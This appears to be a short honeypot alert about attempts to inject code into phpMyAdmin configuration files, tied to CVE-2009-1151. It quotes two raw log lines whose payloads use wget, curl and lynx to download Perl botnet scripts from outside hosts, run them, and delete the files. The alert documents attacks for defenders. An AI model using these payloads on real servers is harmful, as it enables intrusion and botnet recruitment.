[Honeypot Alert] phpMyAdmin Code Injection Attacks for Botnet Recruitment

Our web honeypots picked up the following attacks today:

62.149.12.62 - - [21/Feb/2012:04:25:55 -0600] "GET /mysql//config.sample.inc.php?eval=system('echo cd /tmp;wget http://199.115.228.9/vp.txt -O p2.txt;curl -O http://199.115.228.9/vp.txt; mv vp.txt d.txt;lyxn -DUMP http://199.115.228.9/vp.txt >p3.txt;perl d.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 226 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.6.2 zlib/1.2.3 libidn/1.9 libssh2/1.2.4"
195.145.156.126 - - [21/Feb/2012:05:42:27 -0600] "GET /mysql/config/config.inc.php?eval=system('echo cd /tmp;wget http://dinte.altervista.org/apache_32.png -O p2.txt;curl -O http://dinte.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://dinte.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 225 "-" "curl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8"

These appear to be follow-up exploit attempts for CVE-2009-1151 which allowed for uploading of PHP code into configuration files.

Botnet Recruitment

These requests are attempting to use various OS level http client utilities (wget, curl and lynx) to download a file from the attacker's site. In both cases, the remote files are perl botnet client scripts.
